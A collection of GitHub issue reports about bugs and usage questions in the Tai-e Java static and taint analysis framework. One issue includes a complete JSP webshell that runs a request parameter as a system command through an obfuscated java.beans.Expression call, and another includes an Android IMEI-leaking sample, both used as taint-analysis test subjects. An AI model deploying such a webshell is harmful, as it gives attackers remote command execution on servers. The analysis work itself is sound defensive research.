  "2" [label="<java.lang.invoke.LambdaMetafactory: java.lang.invoke.CallSite metafactory(java.lang.invoke.MethodHandles$Lookup,java.lang.String,java.lang.invoke.MethodType,java.lang.invoke.MethodType,java.lang.invoke.MethodHandle,java.lang.invoke.MethodType)>",];
  "3" [label="<SourceSink: void <init>()>",];
  "4" [label="<InterTaintTransfer: void main(java.lang.String[])>",];
  "5" [label="<java.util.ArrayList: void <init>()>",];
  "3" -> "1" [label="[0@L1] invokespecial %this.<java.lang.Object: void <init>()>();",];
  "4" -> "5" [label="[3@L8] invokespecial $r1.<java.util.ArrayList: void <init>()>();",];
  "4" -> "0" [label="[4@L9] $r2 = invokeinterface $r1.<java.util.List: java.util.stream.Stream stream()>();",];
  "4" -> "3" [label="[1@L7] invokespecial $r0.<SourceSink: void <init>()>();",];
  "4" -> "2" [label="[5@L9] $r3 = invokedynamic <java.lang.invoke.LambdaMetafactory: java.lang.invoke.CallSite metafactory(java.lang.invoke.MethodHandles$Lookup,java.lang.String,java.lang.invoke.MethodType,java.lang.invoke.MethodType,java.lang.invoke.MethodHandle,java.lang.invoke.MethodType)> "accept" <MethodType: java.util.function.Consumer (SourceSink)>[MethodType: void (java.lang.Object), MethodHandle[REF_invokeStatic]: <InterTaintTransfer: void lambda$main$0(SourceSink,java.lang.String)>, MethodType: void (java.lang.String)]($r0);",];
}

issue 1:
the call graph of static void sink(SourceSink s) is missing.

issue 2:
the call-graph.dot looks like has some syntax error, it throw exception when I use dotviz to convert .dot to .pdf.
the command I executed
dot -Tpdf call-graph.dot -o cg_result.pdf

and the result and exception I got.
Error: call-graph.dot: syntax error in line 14 near '"'

Tai-e arguments

-pp -m InterTaintTransfer -cp src/test/resources/pta/taint/ -a pta=cs:2-type;dump-ci:true;dump:true;only-app:true;implicit-entries:false;taint-config:src/test/resources/pta/taint/taint-config.yml;handle-invokedynamic:true -a cg=dump:true

Runtime environment infomation

No response

Misuse of `--input-classes`

Describe the bug

when using --input-classes, it will occur the Runtime error

Exception in thread "main" java.lang.RuntimeException: Attempt to create RefType containing a / --> tomcat-embed-core-8.5.85.jar
	at soot.RefType.<init>(RefType.java:57)
	at soot.Scene.lambda$getOrAddRefType$1(Scene.java:2232)
	at java.base/java.util.concurrent.ConcurrentHashMap.computeIfAbsent(ConcurrentHashMap.java:1708)
	at soot.Scene.getOrAddRefType(Scene.java:2232)
	at soot.RefType.v(RefType.java:85)
	at soot.SootClass.initializeRefType(SootClass.java:158)
	at soot.SootClass.<init>(SootClass.java:140)
	at soot.SootClass.<init>(SootClass.java:127)
	at soot.SootResolver.makeClassRef(SootResolver.java:138)
	at soot.SootResolver.resolveClass(SootResolver.java:153)
	at soot.Scene.loadClass(Scene.java:1016)
	at soot.Scene.loadClassAndSupport(Scene.java:1003)
	at soot.Scene.loadNecessaryClass(Scene.java:1944)
	at soot.Scene.loadNecessaryClasses(Scene.java:1956)
	at soot.Main.run(Main.java:240)
	at pascal.taie.frontend.soot.SootWorldBuilder.runSoot(SootWorldBuilder.java:256)
	at pascal.taie.frontend.soot.SootWorldBuilder.build(SootWorldBuilder.java:84)
	at pascal.taie.Main.lambda$buildWorld$3(Main.java:132)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.Main.buildWorld(Main.java:124)
	at pascal.taie.Main.lambda$main$0(Main.java:60)

I think that is a bug in Soot, but I just want to know that someone has the idea which can handle the situation.I also searched in soot issues and did not find any solutions.

Tai-e arguments

--input-classes="/tmp/tomcat-embed-core-8.5.85.jar"

Runtime environment infomation

No response

Fail to identify source mehothd during taint analysis

Describe the bug

I am using Tai-e's taint analysis to analyze a simple Android java program, the code is as follows,

package org.arguslab.native_leak;

import android.Manifest;
import android.app.Activity;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.telephony.TelephonyManager;

public class MainActivity extends Activity {

    static {
        System.loadLibrary("leak"); // "libleak.so"
    }

    public static native void send(String data);

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
            requestPermissions(new String[]{Manifest.permission.READ_PHONE_STATE}, 1);
        }
    }

    private void leakImei() {
        TelephonyManager tel = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
        if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
            return;
        }
        String imei = tel.getDeviceId(); // source
        send(imei); // sink
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
        switch (requestCode) {
            case 1: {
                leakImei();
                return;
            }
        }
    }
}

}

I have configured entryPoint with reference to #19 ,

  public void onStart() {
        JClass mainClass = World.get().getClassHierarchy().getClass("org.arguslab.native_leak.MainActivity");
        JMethod method = mainClass.getDeclaredMethod("leakImei");
        solver.addEntryPoint(new EntryPoint(method, EmptyParamProvider.get()));
    }

taint-config.yml

sources:
  - { method: "<android.telephony.TelephonyManager: java.lang.String getDeviceId()>", type: "java.lang.String" }

sinks:
  - { method: "<org.arguslab.native_leak.MainActivity: void send(java.lang.String)>", index: 0 }

I found that source method getDeviceId() was not processed during taint analysis, so I never got the desired output. I have tried many times according to #19, but I still failed. Can you help me if you have time? thanks

code
native_leak-dex2jar.jar.zip
android.jar.zip

Tai-e arguments

my command line:

-cp /Users/Tai-e-tools/native_leak-dex2jar.jar:/Users/Tai-e-tools/android.jar --input-classes=org.arguslab.native_leak.MainActivity,android.telephony.TelephonyManager,android.app.Activity -java 8 -ap -a "pta=taint-config:/Users/Tai-e-tools/taint-config.yml;action:dump;" 

Runtime environment infomation

No response

Questions about options `-cp`, `-acp` and `--input-classes`

Describe the bug

I have some questions about tai-e options.Btw I take this repo as testing repository.
Firstly I come across a Exception Exception in thread "main" java.lang.RuntimeException: Main-class has no main method! when using the argument -ap -cp "/java-sec-code/target/java-sec-code-1.0.0.jar" -m org.joychou.Application -java 8 -a "pta=only-app:true;implicit-entries:false;taint-config:/Tai-e/src/main/resources/taint-config.yml;action:dump;action-file:result.txt".

Then I use /java-sec-code/target/classes instead of jar file in -cp and the exception is gone but I found in the analysis World.get().getClassHierarchy().applicationClasses() only get the class org.joychou.Application.(the argument is -ap -cp "/java-sec-code/target/classes" -m org.joychou.Application -java 8 -a "pta=only-app:true;implicit-entries:false;taint-config:/Tai-e/src/main/resources/taint-config.yml;action:dump;action-file:result.txt")

I got all the application class in World.get().getClassHierarchy().applicationClasses() when I use -acp in arguments(-ap -acp "/java-sec-code/target/classes" -m org.joychou.Application -java 8 -a "pta=only-app:true;implicit-entries:false;taint-config:/Tai-e/src/main/resources/taint-config.yml;action:dump;action-file:result.txt")

When I think it should be done, I found the callgraph is incomplete.
The java code Runtime.getRuntime().exec(cmd); in CommandExec method, <java.lang.Runtime: java.lang.Process exec(java.lang.String)> should be one of the callee in the caller CommandExec. I was searching the answer in issues and I think may be the reason is invokevirtual. Finally, I add --input-classes java.lang.Runtime in options and solve the problem.
The arguement in the end is -ap -acp "/java-sec-code/target/classes" -m org.joychou.Application -java 8 --input-classes java.lang.Runtime -a "pta=only-app:true;implicit-entries:false;taint-config:/Tai-e/src/main/resources/taint-config.yml;action:dump;action-file:result.txt"

Maybe I solved the problem I mentioned before but I am still confused about the options though I don't know if the question I asked is easy for those students who have the degree in static analysis.

1. What's the difference when using -acp-cp and --input-classes? Can it provide some explicit usage in tai-e document?
2. When the call is invokevirtual, the solution is add it in option --input-classes even if it can be translated to the right tir in tai-e?

I also have some other advice in the following

  1. Can the master in tai-e build a communicative community? Maybe it is a convenient way using WeChat Group?
  2. The project is updated frequently, maybe it is better to public the release message(new function or some options is changed).

Sincerely hope tai-e can become an awesome project in static analysis and play a bigger role in code security~

Tai-e arguments

-ap -acp "/java-sec-code/target/classes" -m org.joychou.Application -java 8 --input-classes java.lang.Runtime -a "pta=only-app:true;implicit-entries:false;taint-config:/Tai-e/src/main/resources/taint-config.yml;action:dump;action-file:result.txt"

Runtime environment infomation

tai-e commit: 2cfded1

Different ICFGs will lead to different results

Describe the bug

Hello everyone. The ICFG was built in different kinds of traversal sequences with the same code. It may cause different analysis results that are hard to debug. How could I create a fixed ICFG?

Tai-e arguments

-cp=E:\Java project repositories\ConfigACE\workspace\test\test.jar
-m=org.apache.hadoop.hdfs.server.namenode.TestNode
-a=myprogram
-a=inter-taint
-ap

Runtime environment infomation

  • OS
    Windows 11 x64
  • java version
    java 17.0.4
  • Tai-e version
    latest

It is irrational that argument "--main-class" requires not null

Hello =)

I am trying to run tai-e on a jar project I downloaded from this link. Specifically on commons-io-2.9.0-test-sources.jar.

To run this, I used following argument below.

This is the path of the .jar
-cp "XXX/XX/jar/commons-io-2.9.0-test-sources.jar"
This is the path of the .class file
--input-classes="org/apache/commons/io/input/BoundedInputStreamTest.class"
This is just trying to reproduce example posted on your documentation
-a pta=cs:2-type;merge-string-constants:true

Unfortunately, I got errors below. I was wondering if you could help me to resolve this issue?

Tai-e starts ...
Writing options to output\options.yml
Writing analysis plan to output\tai-e-plan.yml
WorldBuilder starts ...
Exception in thread "main" java.lang.NullPointerException: Cannot invoke "String.charAt(int)" because "option" is null
	at soot.options.Options.parse(Options.java:136)
	at soot.Main.processCmdLine(Main.java:85)
	at soot.Main.run(Main.java:248)
	at pascal.taie.frontend.soot.SootWorldBuilder.runSoot(SootWorldBuilder.java:246)
	at pascal.taie.frontend.soot.SootWorldBuilder.build(SootWorldBuilder.java:73)
	at pascal.taie.Main.lambda$buildWorld$3(Main.java:121)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.Main.buildWorld(Main.java:116)
	at pascal.taie.Main.lambda$main$0(Main.java:55)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.Main.main(Main.java:48)

Process finished with exit code 1

Thank you so much!

Set up failed in IDEA community edition, but succeeded in the ultimate edition

Environment: Windows 10
Idea: Community Version, 2022.2.1

When I try to set up Tai-e, I met some problems. It seems that the language feature(multi-line string, pattern matching for switch) are not supported, which confused me. Follow the instruction here, I can not find the Oracle openjdk17.

So I use openjdk 18 instead. I also try the language level as 17(Preview), 18(no new) and 18(Preview), still has errors(see below).

When I run the tests or Main class, it complains the below errors. Although the idea UI seems all right(i.e. no red line...).

I new a demo project with pattern matching switch, use the openjdk18 and 18(Preview), the program works fine. With 17 - Sealed types, ... as suggested, the idea UI has red lines, the error also suggest --enable-preview(but it is only supported in 18). Also the error here is quite different when setting up Tai-e.

image

This issue may be a little stupid... Any advide? Thanks for your time.

Taint analysis transfers throw IndexOutOfBoundsException

Describe the bug

When analyzing the program, Tai-e throw a java.lang.IndexOutOfBoundsException, here is the stack traceback of the reported error.

image

This is the site information before the error, hope it can provide you with some help.

image

callSite's invokeExpr points to "newInstance" instead of "", this does not look as expected?

Here is my jsp code

<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
使用Expression类实现JSP Webshell
--%>
<%


    String cmd = request.getParameter("ladypwd");
    Expression expr = new Expression(Runtime.getRuntime(), "e"+"x"+"e"+"c", new Object[]{cmd});
    Process p = (Process)expr.getValue();
    InputStream is = p.getInputStream();
    StringBuilder sb = new StringBuilder();
    BufferedReader br = new BufferedReader(new InputStreamReader(is));
    String line;
    while((line = br.readLine()) != null) {
        sb.append(line).append("\n");
    }
    out.print("<pre>");
    if (sb.length() > 0) {
        out.print(sb.toString());
    }
    out.print("</pre>");
%>

Tai-e arguments

cmdline

--input-classes=org.apache.jsp.bf6wgpw0qqyy9orw316ihzckb5xf7qo1,javax.servlet.http.HttpServletResponseWrapper,javax.servlet.http.HttpServletRequestWrapper
-java
8
-scope
APP
-ap
-a
pta=action:dump;action-file:dumpfile;taint-config:src/test/resources/pta/taint/taint-config.yml;only-app:false;implicit-entries:false
-cp
/path/to/javax.servlet-api-4.0.1.jar:/path/to/compiler_dir

The compiler_dir you can download the attachment.

compiler.zip

TaintConfig

sources:
  - { method: "<javax.servlet.ServletRequest: java.lang.String getParameter(java.lang.String)>", type: "java.lang.String" }
  - { method: "<javax.servlet.ServletRequestWrapper: java.lang.String getParameter(java.lang.String)>", type: "java.lang.String"}

sinks:
  - { method: "<java.lang.Runtime: java.lang.Process exec(java.lang.String)>", index: 0 }
  - { method: "<java.lang.ClassLoader: java.lang.Class defineClass(byte[],int,int)>", index: 0}
  - { method: "<java.beans.Expression: java.lang.Object getValue()>", index: base}

transfers:
  - { method: "<java.beans.Expression: void <init>(java.lang.Object,java.lang.String,java.lang.Object[])>", from: 2, to: base, type: "void"}

Runtime environment infomation

OS: macOS Monterey 12.6
IDE: IntelliJ IDEA 2022.2.1 (Ultimate Edition)
Tai-e version: commit 3f1f27d
Java Version:

openjdk version "17.0.3" 2022-04-19 LTS
OpenJDK Runtime Environment Zulu17.34+19-CA (build 17.0.3+7-LTS)
OpenJDK 64-Bit Server VM Zulu17.34+19-CA (build 17.0.3+7-LTS, mixed mode, sharing)

Support for String Concatenation after Java 9 is missing.

public class Foo {

@Override
public String toString() {
    return "str";
}

}

public class Main {

public static void main(String[] args) {
   
    System.out.println("some print" + new Foo());
}

}

In the above example, when string concat is being performed, the call to toString of Foo is not in "call-edges.txt" (running with only-app:false)

Ignoring array load of primitive type causes taint flow interruption

I notice that: for point analysis, it will ignore array load or store stmt if array consists of primitive type elements.
follow is code in DefaultSolver

public class DefaultSolver implements Solver {
    private static boolean isConcerned(Exp exp) { 
        Type type = exp.getType();
        return type instanceof ReferenceType && !(type instanceof NullType);
    }

    private void processArrayLoad(CSVar arrayVar, PointsToSet pts) {
        Context context = arrayVar.getContext();
        Var var = arrayVar.getVar();
        for (LoadArray load : var.getLoadArrays()) {  
            Var lvalue = load.getLValue();  
            if (isConcerned(lvalue)) {
                ...
            }
        }
    }
    ...
}

it work well for point analysis, because primitive isn't a pointer, can't pass object reference.
But In Taint analysis, I think ignoring primitive type array isn't good choice.
follow is an example

char[] buffer;
String str = sources();    // taint object, type=String
buffer = str.toCharArray();    // ignored, even if add taint transfer rules
sink(buffer)    

Essentially, Taint analysis focus on variable value, and value can be passed through primitive type variable too. therefore Ignoring primitive type causes taint flow interruption.
Maybe we should take primitive type into account for taint analysis?

Pointer Set Propagation in Lambda Expression

Describe the bug

Hi all! I encountered a problem when I analyzed a program containing lambda expressions. In the following sections, I will introduce my process of reproducing the problem in the experimental environment, my expected results and the description of the problem.

Experiment Setup

Modified source code in file src/test/resources/pta/taint/SimpleTaint.java:

import java.util.ArrayList;
import java.util.List;

class SimpleTaint {

    public static void main(String[] args) {
        List<SourceSink> sourceSinkList = new ArrayList<>();
        SourceSink s1 = new SourceSink();
        SourceSink s2 = new SourceSink();
        sourceSinkList.add(s1);
        sourceSinkList.add(s2);
        List<String> stringList = convert(sourceSinkList);
        sink(stringList);
    }

    public static List<String> convert(List<SourceSink> p) {
        List<String> res = new ArrayList<>();
        if (p.isEmpty()) {
            return res;
        }
        p.stream().forEach( s -> {
            String tmp = s.tainted2;
            res.add(tmp);
        });
        return res;
    }

    public static void sink(List list) {}

}

Added taint rules in file src/test/resources/pta/taint/taint-config.yml:

sources:
  - { kind: field, field: "<SourceSink: java.lang.String tainted2>" }

sinks:
  - { method: "<SimpleTaint: void sink(java.lang.List)>", index: 0 }

transfers:
  - { method: "<java.util.ArrayList: boolean add(java.lang.Object)>", from: 0, to: base }

Modified the function isIgnored in file src/main/java/pascal/taie/analysis/pta/core/solver/DefaultSolver.java:

    private boolean isIgnored(JMethod method) {
        if (method.toString().contains("java.util")
                || method.toString().contains("java.lang.invoke.LambdaMetafactory")
        ) {
            return false;
        }
        return ignoredMethods.contains(method) ||
                onlyApp && !method.isApplication();
    }

Tai-e arguments:

-pp -ap -cp src/test/resources/pta/taint -m SimpleTaint -java 17 -a "pta=cs:2-obj;dump:true;only-app:true;taint-config:src/test/resources/pta/taint/taint-config.yml;handle-invokedynamic:true;implicit-entries:false"

Expected Results

In function SimpleTaint:convert(), the taint source is s.tainted2, which should be propagated to the list res via the "transfer" rule in taint-config, then returned to the list stringList in main() and finally passed to sink().

Problem Description

In the jimple file, the lambda expression is converted to a function named void lambda$convert$0(java.util.List,SourceSink), where the first parameter should be the target list, i.e. res, and the second parameter is the local variable s. The related parts of the jimple file are showed as follows:

Parts of file SimpleTaint.jimple:

public static java.util.List convert(java.util.List)
{
	java.util.function.Consumer $r3;
	java.util.ArrayList $r0;

	$r0 = new java.util.ArrayList;

	$r3 = dynamicinvoke "accept" <java.util.function.Consumer (java.util.List)>($r0) <java.lang.invoke.LambdaMetafactory: java.lang.invoke.CallSite metafactory(java.lang.invoke.MethodHandles$Lookup,java.lang.String,java.lang.invoke.MethodType,java.lang.invoke.MethodType,java.lang.invoke.MethodHandle,java.lang.invoke.MethodType)>(methodtype: void __METHODTYPE__(java.lang.Object), methodhandle: "REF_INVOKE_STATIC" <SimpleTaint: void lambda$convert$0(java.util.List,SourceSink)>, methodtype: void __METHODTYPE__(SourceSink));

	return $r0;
}

private static void lambda$convert$0(java.util.List, SourceSink)
{
	java.util.List r2;
	java.lang.String r1;
	SourceSink r0;

	r2 := @parameter0: java.util.List;

	r0 := @parameter1: SourceSink;

	r1 = r0.<SourceSink: java.lang.String tainted2>;

	interfaceinvoke r2.<java.util.List: boolean add(java.lang.Object)>(r1);

	return;
}

According to the jimple code and the pta-results, r1 and r2 in lambda$convert$0() are tainted, which is consistent with our expectations. But $r0 in convert() is not tainted, which is the result returned to main().

Parts of the file pta-results.txt:

[]:<SimpleTaint: void lambda$convert$0(java.util.List,SourceSink)>/r2 -> [[]:NewObj{<SimpleTaint: java.util.List convert(java.util.List)>[0@L49] new java.util.ArrayList}, []:TaintObj{alloc=<SimpleTaint: void lambda$convert$0(java.util.List,SourceSink)> [0@L55] r1 = r0.<SourceSink: java.lang.String tainted2>,type=java.util.ArrayList}]

[]:<SimpleTaint: java.util.List convert(java.util.List)>/$r0 -> [[]:NewObj{<SimpleTaint: java.util.List convert(java.util.List)>[0@L49] new java.util.ArrayList}]

In my understanding, $r0 in convert() should be the first parameter of lambda$convert$0(), that is, $r0 in convert() and r2 in lambda$convert$0() should have the same address and same pointer set, which means that the TaintObj in the pointer set of lambda$convert$0()/r2 should be propagated to that of convert()/$r0.

Is my understanding correct? If so, how can I propagate the pointer set from lambda$convert$0()/r2 to convert()/$r0? Thanks!

Tai-e arguments

-pp -ap -cp src/test/resources/pta/taint -m SimpleTaint -java 17 -a "pta=cs:2-obj;dump:true;only-app:true;taint-config:src/test/resources/pta/taint/taint-config.yml;handle-invokedynamic:true;implicit-entries:false"

Runtime environment infomation

No response

`couldn't find class` when analyzing large real world project

Hello everyone, I've met a problem when I tried to analyze hadoop components (2.10.2).

Exception in thread "main" java.lang.RuntimeException: couldn't find class: com.google.gson.internal.$Gson (are your class path and class name given properly?)
	at pascal.taie.frontend.soot.SootWorldBuilder.runSoot(SootWorldBuilder.java:249)
	at pascal.taie.frontend.soot.SootWorldBuilder.build(SootWorldBuilder.java:73)
	at pascal.taie.Main.lambda$buildWorld$3(Main.java:121)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.Main.buildWorld(Main.java:116)
	at pascal.taie.Main.lambda$main$0(Main.java:55)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.Main.main(Main.java:48)
	at TestTaie.main(TestTaie.java:175)

The console logs says that I missed com.google.gson.internal.$Gson, but the release jar of Gson doesn't have this class. How can I get more detailed information? Could you please help me about that, thanks a lot!

Replace the behavior of some variables in java with our design statements with Tai-e

I have just been exposed to the knowledge of PL, and I may need to use this knowledge in my current work. I need to replace the behavior (statements) of some variables in java with my own design statements. for instance:

A a = new A() -> A a = my_new A()
b = a.get() -> b = a.my_get()
a.write(c) -> a.my_write(c)

How should I use the tai-e framework to accomplish this task?

What I'm thinking about now is whether we can use pointer analysis on 'a', locate the behavior of 'a' at the IR level, modify the IR statement, and then convert the modified IR statement back to the Java language according to some rules. Is this idea feasible? Or can we use other functions of tai-e to solve this problem more ingeniously?

Thanks a lot!

`propagate-types` option does not seem to be effective

Describe the bug

I used the propagate-types option in pointer analysis, but it doesn't seem to be effective. I set the following types for propagate-types:

  • int
  • long
  • float
  • null
  • reference
    However, according to the results, it seems that only reference is effective, while the other results are all empty.

Tai-e arguments

                "-cp", "./workspace/testJar1.jar",
                "-m", "TestCase15",
                "-a", "icfg",
                "-a", "mymethod",
                "-a", "pta=propagate-types:[int,long,float,null,reference];cs:1-call",
                "-a", "constraint",
                "-ap"

Runtime environment infomation

OS: Win 11
IDE: Jetbrains IDEA
The version of Tai-e: latest (10a633f)

Thank you so much!

NullPointerException occurred during analyzing hadoop

Hello everyone, I've met a problem when I tried to analyze hadoop components (2.10.2). It did not appear when I analyzed a single component of hadoop, but it came out after adding all dependencies to the classpath.
The console log is as follows:

Exception in thread "main" java.lang.NullPointerException
	at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
	at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:77)
	at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:499)
	at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:480)
	at java.base/java.util.concurrent.ForkJoinTask.getThrowableException(ForkJoinTask.java:564)
	at java.base/java.util.concurrent.ForkJoinTask.reportException(ForkJoinTask.java:591)
	at java.base/java.util.concurrent.ForkJoinTask.invoke(ForkJoinTask.java:689)
	at java.base/java.util.stream.ForEachOps$ForEachOp.evaluateParallel(ForEachOps.java:159)
	at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateParallel(ForEachOps.java:173)
	at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:238)
	at java.base/java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:596)
	at java.base/java.util.stream.ReferencePipeline$Head.forEach(ReferencePipeline.java:765)
	at pascal.taie.analysis.AnalysisManager.runMethodAnalysis(AnalysisManager.java:138)
	at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:75)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:60)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:59)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
	at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:59)
	at pascal.taie.Main.executePlan(Main.java:142)
	at pascal.taie.Main.lambda$main$0(Main.java:56)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.Main.main(Main.java:48)
	at main.TaieMain.main(TaieMain.java:15)
Caused by: java.lang.NullPointerException: IndexMap does not permit null values
	at java.base/java.util.Objects.requireNonNull(Objects.java:233)
	at pascal.taie.util.collection.IndexMap.put(IndexMap.java:110)
	at pascal.taie.analysis.dataflow.fact.DataflowResult.setInFact(DataflowResult.java:61)
	at pascal.taie.analysis.dataflow.solver.WorkListSolver.initializeForward(WorkListSolver.java:46)
	at pascal.taie.analysis.dataflow.solver.AbstractSolver.initialize(AbstractSolver.java:58)
	at pascal.taie.analysis.dataflow.solver.AbstractSolver.solve(AbstractSolver.java:41)
	at pascal.taie.analysis.dataflow.analysis.AnalysisDriver.analyze(AnalysisDriver.java:48)
	at pascal.taie.analysis.dataflow.analysis.AnalysisDriver.analyze(AnalysisDriver.java:36)
	at pascal.taie.analysis.AnalysisManager.lambda$runMethodAnalysis$3(AnalysisManager.java:140)
	at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.accept(ForEachOps.java:183)
	at java.base/java.util.AbstractList$RandomAccessSpliterator.forEachRemaining(AbstractList.java:720)
	at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:522)
	at java.base/java.util.stream.ForEachOps$ForEachTask.compute(ForEachOps.java:290)
	at java.base/java.util.concurrent.CountedCompleter.exec(CountedCompleter.java:754)
	at java.base/java.util.concurrent.ForkJoinTask.doExec(ForkJoinTask.java:373)
	at java.base/java.util.concurrent.ForkJoinPool$WorkQueue.topLevelExec(ForkJoinPool.java:1182)
	at java.base/java.util.concurrent.ForkJoinPool.scan(ForkJoinPool.java:1655)
	at java.base/java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1622)
	at java.base/java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:165)

It seems that the problem is caused by the initialization of forward flow analysis. Could you please help me about that, thanks a lot!

`OutOfMemoryError` when using 2-limiting context sensitivity

Describe the bug

Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
	at pascal.taie.util.collection.SparseBitSet.getOrCreateBlock(SparseBitSet.java:1017)
	at pascal.taie.util.collection.SparseBitSet.set(SparseBitSet.java:187)
	at pascal.taie.util.collection.GenericBitSet.add(GenericBitSet.java:71)
	at java.base/java.util.AbstractCollection.addAll(AbstractCollection.java:336)
	at pascal.taie.util.collection.GenericBitSet.addAll(GenericBitSet.java:103)
	at pascal.taie.util.collection.AbstractHybridSet.upgradeToLargeSet(AbstractHybridSet.java:149)
	at pascal.taie.util.collection.AbstractHybridSet.addAll(AbstractHybridSet.java:175)
	at pascal.taie.analysis.pta.pts.DelegatePointsToSet.addAll(DelegatePointsToSet.java:51)
	at pascal.taie.analysis.pta.core.solver.WorkList.addEntry(WorkList.java:55)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.addPointsTo(DefaultSolver.java:730)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.addPFGEdge(DefaultSolver.java:772)
	at pascal.taie.analysis.pta.core.solver.Solver.addPFGEdge(Solver.java:136)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.processCallEdge(DefaultSolver.java:515)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.analyze(DefaultSolver.java:321)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.solve(DefaultSolver.java:246)
	at pascal.taie.analysis.pta.PointerAnalysis.runAnalysis(PointerAnalysis.java:118)
	at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:106)
	at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:63)
	at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:148)
	at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:135)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:104)
	at pascal.taie.analysis.AnalysisManager$$Lambda$251/0x0000000800ece440.get(Unknown Source)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:103)
	at pascal.taie.analysis.AnalysisManager$$Lambda$250/0x0000000800ecdfe8.accept(Unknown Source)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
	at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:102)
	at pascal.taie.Main.executePlan(Main.java:148)
	at pascal.taie.Main.lambda$main$0(Main.java:60)
	at pascal.taie.Main$$Lambda$132/0x0000000800d8d928.run(Unknown Source)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer$$Lambda$133/0x0000000800d8dd80.get(Unknown Source)

Process finished with exit code 1

Tai-e arguments

I specified 126 main methods as entry points and 70 Hadoop jars as input for pointer analysis. When I set the context selector to insensitivity and 1-limiting sensitivity, Tai-e worked normally. However, when I set it to two-limiting sensitivity (whether 2-obj or 2-call), Tai-e threw the OutOfMemoryError exception.

Runtime environment infomation

OS: Ubuntu 18.04
Physical memory: 64GB
The version of Tai-e: latest (10a633f)

Thank you so much!

Configure the analyse startup method to avoid OOM `OutOfMemoryError`

I am analyzing a very large project (cs:2-type).
After few hours of analysis I get OOM: Java heap space.

Attached the stack trace:

Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
	at pascal.taie.util.collection.SparseBitSet.getOrCreateBlock(SparseBitSet.java:1023)
